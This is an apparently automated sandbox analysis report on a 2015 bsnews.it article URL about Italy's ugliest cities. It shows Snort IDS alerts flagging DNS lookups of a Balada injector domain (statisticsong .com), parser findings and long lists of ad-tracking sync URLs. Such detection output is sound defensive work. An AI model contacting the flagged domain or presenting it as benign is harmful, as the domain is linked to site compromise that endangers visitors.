Edit tour

Windows Analysis Report
https://www.bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica

Overview

General Information

Sample URL:	https://www.bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica
Analysis ID:	1416910
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Snort IDS alert for network traffic

Found iframes

HTML page contains hidden URLs or javascript code

HTTP GET or POST without a user agent

Submit button contains javascript call

Suspicious form URL found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 2596 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5996 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2204,i,5822441980925942090,17870143398896516678,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6552 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Snort Signatures

ET CURRENT_EVENTS Balada Domain in DNS Lookup (statisticsong .com) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	03/28/24-09:51:05.613899
SID:	2050652
Source Port:	53091
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET CURRENT_EVENTS Balada Domain in DNS Lookup (statisticsong .com) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	03/28/24-09:51:05.205656
SID:	2050652
Source Port:	50842
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET CURRENT_EVENTS Balada Domain in DNS Lookup (statisticsong .com) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	03/28/24-09:51:05.205220
SID:	2050652
Source Port:	64972
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/	HTTP Parser: Iframe src: https://www.facebook.com/plugins/like.php?href=https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/&layout=button_count&show_faces=false&width=105&action=like&colorscheme=light&height=21
Source: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/	HTTP Parser: Iframe src: https://www.facebook.com/plugins/like.php?href=https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/&layout=button_count&show_faces=false&width=105&action=like&colorscheme=light&height=21
Source: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-N4MQK3G
Source: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/	HTTP Parser: Iframe src: https://widgets.wp.com/likes/master.html?ver=20240327#ver=20240327&lang=it&n=1

Source: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/

HTTP Parser: Base64 decoded: {"ad":{"id":"2243394","adBuyId":2243394,"auid":7,"width":300,"height":100,"cw":"gg","ifc":1,"ii":false,"du":"https://va-g2.gumgum.com/ad/click/enc/nRzgJao6TA8_jNkWowBKThtMfzRwsZmmdf9AcU69b1Dskm3SZQzeT0Tli6SjHSEfTbhyAd_kYWYh-E-e4cozoDz2xawmJxsRH6E9Rmwy0_uM...

Source: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/	HTTP Parser: On click: poll_vote(13);
Source: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/	HTTP Parser: On click: poll_vote(13);

Source: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/	HTTP Parser: Form action: https://bsnews.it/wp-admin/admin-post.php?action=mailpoet_subscription_form
Source: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/	HTTP Parser: Form action: https://bsnews.it/wp-comments-post.php
Source: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/	HTTP Parser: Form action: /index.php
Source: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/	HTTP Parser: Form action: https://bsnews.it/wp-admin/admin-post.php?action=mailpoet_subscription_form
Source: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/	HTTP Parser: Form action: /index.php

Source: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/

HTTP Parser: <input type="password" .../> found

Source: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/	HTTP Parser: No favicon
Source: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/	HTTP Parser: No favicon
Source: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/	HTTP Parser: No favicon
Source: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/	HTTP Parser: No favicon
Source: about:blank	HTTP Parser: No favicon
Source: https://www.facebook.com/plugins/like.php?href=https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/&layout=button_count&show_faces=false&width=105&action=like&colorscheme=light&height=21	HTTP Parser: No favicon
Source: https://www.facebook.com/plugins/like.php?href=https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/&layout=button_count&show_faces=false&width=105&action=like&colorscheme=light&height=21	HTTP Parser: No favicon
Source: https://widgets.wp.com/likes/master.html?ver=20240327#ver=20240327&lang=it&n=1	HTTP Parser: No favicon
Source: https://sync.richaudience.com/b3adde1f4bbb31c3485562d6e3ddceb4/?rnd=56538560&rd=1	HTTP Parser: No favicon
Source: https://widgets.wp.com/likes/?ver=13.2.2#blog_id=123231640&post_id=95325&origin=bsnews.it&obj_id=123231640-95325-660455af0eb77&n=1	HTTP Parser: No favicon
Source: https://topics.authorizedvault.com/topicsapi.html?bidder=rtbhouse	HTTP Parser: No favicon
Source: https://widgets.outbrain.com/nanoWidget/externals/topics/topics.html?r=https%3A%2F%2Fbsnews.it	HTTP Parser: No favicon
Source: https://ssum-sec.casalemedia.com/usermatch?cb=https%3A%2F%2Fsync.richaudience.com%2F2066127a3f7c6635eb4f6cac536feb5a%2F%3Fgdpr%3D0%26euconsent%3D%26uid%3D&gdpr=0&gdpr_consent=&s=201092&C=1	HTTP Parser: No favicon
Source: https://onetag-sys.com/usync/?cb=1711615879045&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://us-u.openx.net/w/1.0/cm?cc=1&id=5263ff89-48b7-4624-96e0-06c74faea01d&ph=2eba3060-f578-4886-93a0-d9a2346966ea&gdpr=0&gdpr_consent=&r=https%3A%2F%2Fsync.richaudience.com%2Fa9b03dc9bdef0bcb818e9c4110ca0368%2F%3Fuid%3D	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:vt7pfC3z1RPLu95&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://eus.rubiconproject.com/usync.html?p=gumgum	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI3MzkmdGw9MTI5NjAw&piggybackCookie=969470224947452706	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDImdGw9MTI5NjAw&piggybackCookie=4CDB_rqlDQWN1InTry8FZg	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=-wZskf9WPZHgBm-Q_AVxkKgHPZHgBW2X9QKMLJtt	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=TjMxskYIXe9LRDfaNGZeQmalMCs&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM2MiZ0bD0xMjk2MDA==&piggybackCookie=uid:e37d6605-2f8b-4a00-8c65-7b6f95886a26&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMzMDEmdGw9MTI5NjAw&piggybackCookie=70398360-ece0-11ee-8eab-5def3cdb9f63	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDImdGw9MTI5NjAw&piggybackCookie=wnrCnx3VAC-7mc0StS8FZg	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzMmdGw9MTI5NjAw&piggybackCookie=Q7649023191071713384	HTTP Parser: No favicon
Source: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0ODkmdGw9NDMyMDA=&piggybackCookie=OPU3668144d24c64241956e761ce5b3a0eb	HTTP Parser: No favicon
Source: https://s.amazon-adsystem.com/iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=gg_pm-db5_rbd_smrt_an-db5_sovrn_3lift	HTTP Parser: No favicon
Source: https://s.amazon-adsystem.com/ecm3?ex=pubmatic.com&id=PM_UID01F5328A-C4D9-44AD-8468-60A885247C68	HTTP Parser: No favicon
Source: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMzMDEmdGw9MTI5NjAw&piggybackCookie=73e34dc0-ece0-11ee-9865-d7e46aae7968	HTTP Parser: No favicon
Source: https://js-sec.indexww.com/um/ixmatch.html	HTTP Parser: No favicon
Source: https://sync-tm.everesttech.net/upi/pid/b9pj45k4?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=${TM_USER_ID}&gdpr=1&gdpr_consent=	HTTP Parser: No favicon
Source: https://aax-us-east.amazon-adsystem.com/e/dtb/admi?b=JGapUzYM-SRrUSVnpipTqiYAAAGOhEKa2AEAAA4rAQBhcHNfdHhuX2JpZDEgICBhcHNfdHhuX2ltcDEgICDU01mv&rnd=1465541178631711615942016&pp=1ff2vpc&p=enkohs	HTTP Parser: No favicon
Source: https://sync.targeting.unrulymedia.com/csync/RX-b6a81ab2-e806-441c-954b-0b87961b9ddd-005	HTTP Parser: No favicon
Source: https://odr.mookie1.com/t/v2/sync?tagid=V2_790378&src.visitorId=f6fc5731-6145-4496-aa7d-dffabe45a73b&ssp=pubmatic&gdpr=0&gdpr_consent=#US_PRIVACY	HTTP Parser: No favicon
Source: https://usersync.gumgum.com/usersync?b=pbm&i=01F5328A-C4D9-44AD-8468-60A885247C68	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=137711&s=137812&predirect=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D58%263pid%3D&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=156136&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://events-ssc.33across.com/match?liv=h&us_privacy=&bidder_id=25&external_user_id=01F5328A-C4D9-44AD-8468-60A885247C68	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156212&predirect=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D71%263pid%3D&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=156695&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://sync.admanmedia.com/iframe?pbjs=1&coppa=0	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=162412&userIdMacro=PM_UID&gdpr=0&gdpr_consent=&us_privacy=${US_PRIVACY}&&predirect=https%3A%2F%2Fads.servenobid.com%2Fsync%3Fpid%3D316%26uid%3DPM_UID	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?predirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dpbm%26i%3D&gdpr=&gdprConsent=	HTTP Parser: No favicon
Source: https://u-iad04.e-planning.net/um?dc=a208d9366469aa64&fi=b908337b94350305&uid=01F5328A-C4D9-44AD-8468-60A885247C68	HTTP Parser: No favicon
Source: https://ce.lijit.com/merge?pid=58&3pid=01F5328A-C4D9-44AD-8468-60A885247C68	HTTP Parser: No favicon
Source: https://ssum.casalemedia.com/usermatch?s=190243&cb=https%3A%2F%2Fu-iad04.e-planning.net%2Fum%3Fdc%3D99e41df815fd80b4%26fi%3Db908337b94350305%26uid%3D	HTTP Parser: No favicon
Source: https://ce.lijit.com/beacon?informer=13426218	HTTP Parser: No favicon
Source: https://onetag-sys.com/usync/?pubId=5927d926323dc2c	HTTP Parser: No favicon
Source: https://cs-server-s2s.yellowblue.io/sync-iframe?gdpr=0&gdpr_consent=&us_privacy=${US_PRIVACY}&&redirect=https%3A%2F%2Fads.servenobid.com%2Fsync%3Fpid%3D352%26uid%3D%7BpartnerId%7D	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156631&s=&predirect=https%3A%2F%2Fu-iad04.e-planning.net%2Fum%3Fdc%3Da208d9366469aa64%26fi%3Db908337b94350305%26uid%3D	HTTP Parser: No favicon
Source: https://core.iprom.net/cookiesync?gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://us-east-1.paa-reporting-advertising.amazon/paa/rf_module_registration.html?request_bidid=ZqlTNgz5JGtRJWemKlOqJg&creative_id=592911586383749832&ad_id=593028458723293686&campaign_id=579886048148097626&advertiser_id=588872500020555147&is_3p=true&ep=paa	HTTP Parser: No favicon
Source: https://ipac.ctnsnet.com/int/cm?exc=14&redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MTEmdGw9MjAxNjA=&piggybackCookie=[user_id]	HTTP Parser: No favicon
Source: https://ads.us.e-planning.net/uspd/1/29f836b1c2dd7f7b?ct=1&ruidm=1&du=%2F%2Fsync.adkernel.com%2Fuser-sync%3Fzone%3D181225%26dsp%3D629319%26t%3Diframe%26uid%3D%24UID	HTTP Parser: No favicon
Source: https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=01F5328A-C4D9-44AD-8468-60A885247C68	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156011&s=165626&predirect=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dpubmatic.com%26id%3DPM_UID	HTTP Parser: No favicon
Source: https://eus.rubiconproject.com/usync.html?p=a9us&endpoint=us-east	HTTP Parser: No favicon
Source: https://s.amazon-adsystem.com/v3/pr?exlist=gg_pm-db5_rbd_smrt_an-db5_sovrn_3lift&fv=1.0&a=cm&cm3ppd=1&dmt=3	HTTP Parser: No favicon
Source: https://s.tribalfusion.com/z/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID}	HTTP Parser: No favicon
Source: https://s.amazon-adsystem.com/ecm3?ex=smart.com&id=7766515454130361199&gdpr=0&gdpr_consent=	HTTP Parser: No favicon
Source: https://eb2.3lift.com/sync?redir=https%3A%2F%2Fsync.e-planning.net%2Fum%3Fuid%3D%24UID%26dc%3D4d76b6ce34af74c9%26iss%3D1	HTTP Parser: No favicon
Source: https://rtb.gumgum.com/usync/amzns2s?r=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dgg.com%26id%3D	HTTP Parser: No favicon
Source: https://u-iad04.e-planning.net/um?uid=A218155744240683473&dc=eba3ecb667ab30ab&fi=b908337b94350305	HTTP Parser: No favicon
Source: https://ssum-sec.casalemedia.com/usermatch?d=&s=184674&cb=https%3A%2F%2Fcdn.indexww.com%2Fht%2Fhtw-pixel.gif%3F	HTTP Parser: No favicon
Source: https://ads.pubmatic.com/AdServer/js/user_sync.html?predirect=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dpbm%26i%3D&gdpr=0&gdprConsent=	HTTP Parser: No favicon
Source: https://imasdk.googleapis.com/js/core/bridge3.629.1_en.html#goog_1979176773	HTTP Parser: No favicon
Source: https://g2.gumgum.com/usync/13926?gdpr=0&gdpr_consent=&us_privacy=1---&r=https%3A%2F%2Fads.servenobid.com%2Fsync%3Fpid%3D309%26uid%3D	HTTP Parser: No favicon
Source: https://cm.g.doubleclick.net/pixel?google_nid=gumgum_dbm&google_hm=dV84NjBkMzBjOC0yZjlkLTQ0MzktYWUxNy1iY2I3YmY2NzE5Nzg=&gdpr=&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv	HTTP Parser: No favicon

Source: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 23.210.240.112:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.210.240.112:443 -> 192.168.2.4:49777 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 171MB

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2050652 ET CURRENT_EVENTS Balada Domain in DNS Lookup (statisticsong .com) 192.168.2.4:64972 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2050652 ET CURRENT_EVENTS Balada Domain in DNS Lookup (statisticsong .com) 192.168.2.4:50842 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2050652 ET CURRENT_EVENTS Balada Domain in DNS Lookup (statisticsong .com) 192.168.2.4:53091 -> 1.1.1.1:53

Source: global traffic

HTTP traffic detected: GET /cache: Missing required parameter uuid

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 3.231.143.36
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161
Source: unknown	TCP traffic detected without corresponding DNS query: 23.105.12.161

Source: global traffic	HTTP traffic detected: GET /2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica HTTP/1.1Host: www.bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica HTTP/1.1Host: bsnews.itConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ HTTP/1.1Host: bsnews.itConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-bannerize-pro/public/css/wp-bannerize-admin-bar.min.css?ver=1.6.9 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-bannerize-pro/public/css/wp-bannerize.min.css?ver=1.6.9 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-polls/polls-css.css?ver=2.77.2 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/td-composer/td-multi-purpose/style.css?ver=6217cd4d7820e3bfbc83cc495211f01b HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/Newspaper/style.css?ver=12.6.5 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
